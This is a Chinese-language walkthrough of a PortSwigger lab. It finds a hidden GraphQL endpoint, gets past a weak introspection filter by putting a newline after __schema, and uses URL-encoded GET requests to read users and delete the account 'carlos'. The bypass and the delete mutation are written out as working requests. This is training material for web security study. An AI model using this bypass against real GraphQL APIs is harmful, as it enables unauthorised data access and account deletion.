Lab: Finding a hidden GraphQL endpoint
在之前的学习过程中可以查询__schema
字段发现未被净化的参数。
如果存在针对__schema
的一些防御我们又该如何应对?
特殊字符绕过
弱正则匹配绕过
修改请求方式绕过
修改请求类型绕过
这个实验室的用户管理功能由一个隐藏的GraphOL端点提供支持。您将无法通过简单地单击站点中的页面来找到此端点。端点还具有一些针对内省的防御措施。
若要解决实验室问题,请以管理员身份登录并删除carlos用户名
访问对应靶场界面
https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint
启动靶场
这是购物类型的网站
存在登录端点
以及查看购物内容
尝试登录了一下看看回显包
查看了日志信息,发现非常正常没有GraphQL
的任何信息
尝试手动访问对应目录 如api
发现存在query not present
说明本漏洞出现在隐藏端点中
尝试修改成POST
请求后发现不支持
利用GET
进行请求通用查询
GET /api?query=query{__typename} HTTP/1.1
在其响应中的某处包含{"data": {"__typename": "query"}}
字符串
查询之所以有效,是因为每个GraphQL
端点都有一个名为__typename
的保留字段,该字段以字符串形式返回查询对象的类型。
改为查询根内容
GET /api?query={__schema{queryType{name}}} HTTP/1.1
发现存在内省__schema
与__type
的过滤
尝试使用空格、换行符和逗号等字符,因为它们会被GraphQL
忽略
GET /api?query={+__++schema{queryType{name}}} HTTP/1.1
尝试无效,思考是否存在弱正则匹配__schema{
,进行换行测试
发现是弱正则匹配
GET /api?query={__schema%0a{queryType{name}}} HTTP/1.1
构造内容查询内部所有参数,进行url
编码
GET /api?query=%71%75%65%72%79%20%49%6e%74%72%6f%73%70%65%63%74%69%6f%6e%51%75%65%72%79%20%7b%20%5f%5f%73%63%68%65%6d%61%0a%7b%20%71%75%65%72%79%54%79%70%65%20%7b%20%6e%61%6d%65%20%7d%20%6d%75%74%61%74%69%6f%6e%54%79%70%65%20%7b%20%6e%61%6d%65%20%7d%20%73%75%62%73%63%72%69%70%74%69%6f%6e%54%79%70%65%20%7b%20%6e%61%6d%65%20%7d%20%74%79%70%65%73%20%7b%20%2e%2e%2e%46%75%6c%6c%54%79%70%65%20%7d%20%64%69%72%65%63%74%69%76%65%73%20%7b%20%6e%61%6d%65%20%64%65%73%63%72%69%70%74%69%6f%6e%20%61%72%67%73%20%7b%20%2e%2e%2e%49%6e%70%75%74%56%61%6c%75%65%20%7d%20%20%7d%20%7d%20%7d%66%72%61%67%6d%65%6e%74%20%46%75%6c%6c%54%79%70%65%20%6f%6e%20%5f%5f%54%79%70%65%0a%7b%20%6b%69%6e%64%20%6e%61%6d%65%20%64%65%73%63%72%69%70%74%69%6f%6e%20%66%69%65%6c%64%73%28%69%6e%63%6c%75%64%65%44%65%70%72%65%63%61%74%65%64%3a%20%74%72%75%65%29%20%7b%20%6e%61%6d%65%20%64%65%73%63%72%69%70%74%69%6f%6e%20%61%72%67%73%20%7b%20%2e%2e%2e%49%6e%70%75%74%56%61%6c%75%65%20%7d%20%74%79%70%65%20%7b%20%2e%2e%2e%54%79%70%65%52%65%66%20%7d%20%69%73%44%65%70%72%65%63%61%74%65%64%20%64%65%70%72%65%63%61%74%69%6f%6e%52%65%61%73%6f%6e%20%7d%20%69%6e%70%75%74%46%69%65%6c%64%73%20%7b%20%2e%2e%2e%49%6e%70%75%74%56%61%6c%75%65%20%7d%20%69%6e%74%65%72%66%61%63%65%73%20%7b%20%2e%2e%2e%54%79%70%65%52%65%66%20%7d%20%65%6e%75%6d%56%61%6c%75%65%73%28%69%6e%63%6c%75%64%65%44%65%70%72%65%63%61%74%65%64%3a%20%74%72%75%65%29%20%7b%20%6e%61%6d%65%20%64%65%73%63%72%69%70%74%69%6f%6e%20%69%73%44%65%70%72%65%63%61%74%65%64%20%64%65%70%72%65%63%61%74%69%6f%6e%52%65%61%73%6f%6e%20%7d%20%70%6f%73%73%69%62%6c%65%54%79%70%65%73%20%7b%20%2e%2e%2e%54%79%70%65%52%65%66%20%7d%20%7d%20%66%72%61%67%6d%65%6e%74%20%49%6e%70%75%74%56%61%6c%75%65%20%6f%6e%20%5f%5f%49%6e%70%75%74%56%61%6c%75%65%20%7b%20%6e%61%6d%65%20%64%65%73%63%72%69%70%74%69%6f%6e%20%74%79%70%65%20%7b%20%2e%2e%2e%54%79%70%65%52%65%66%20%7d%20%64%65%66%61%75%6c%74%56%61%6c%75%65%20%7d%20%66%72%61%67%6d%65%6e%74%20%54%79%70%65%52%65%66%20%6f%6e%20%5f%5f%54%79%70%65%0a%7b%20%6b%69%6e%64%20%6e%61%6d%65%20%6f%66%54%79%70%65%20%7b%20%6b%69%6e%64%20%6e%61%6d%65%20%6f%66%54%79%70%65%20%7b%20%6b%69%6e%64%20%6e%61%6d%65%20%6f%66%54%79%70%65%20%7b%20%6b%69%6e%64%20%6e%61%6d%65%20%7d%20%7d%20%7d%20%7d HTTP/1.1
将内容发送到可视化工具发现存在id
和username
的隐藏参数
这里我保存到了本地,利用InQL
工具
获得内容
query {
getUser(id:1334) {
id
username
}
}
将内容复制进行url
编码构造到GET
GET /api?query=%71%75%65%72%79%20%7b%0a%09%67%65%74%55%73%65%72%28%69%64%3a%31%33%33%34%29%20%7b%0a%09%09%69%64%0a%09%09%75%73%65%72%6e%61%6d%65%0a%09%7d%0a%7d HTTP/1.1
发现可以构造,但是id
的内容为空
发现通过修改(id:1334)
中id
的内容可以查询用户
又在json
中发现了类似删除的名称
实验删除1
后访问发现不存在administrator
的账户
题目要求删除carlos
的账户,通过搜索发现id
为3是他的账户
构造删除
GET /api?query=%6d%75%74%61%74%69%6f%6e%20%7b%0a%09%64%65%6c%65%74%65%4f%72%67%61%6e%69%7a%61%74%69%6f%6e%55%73%65%72%28%69%6e%70%75%74%3a%7b%69%64%3a%20%33%7d%29%20%7b%0a%09%09%75%73%65%72%20%7b%0a%09%09%09%69%64%0a%09%09%7d%0a%09%7d%0a%7d HTTP/1.1
构造删除成功完成了实验
正则匹配不能使用弱匹配,需要多进行一些预设匹配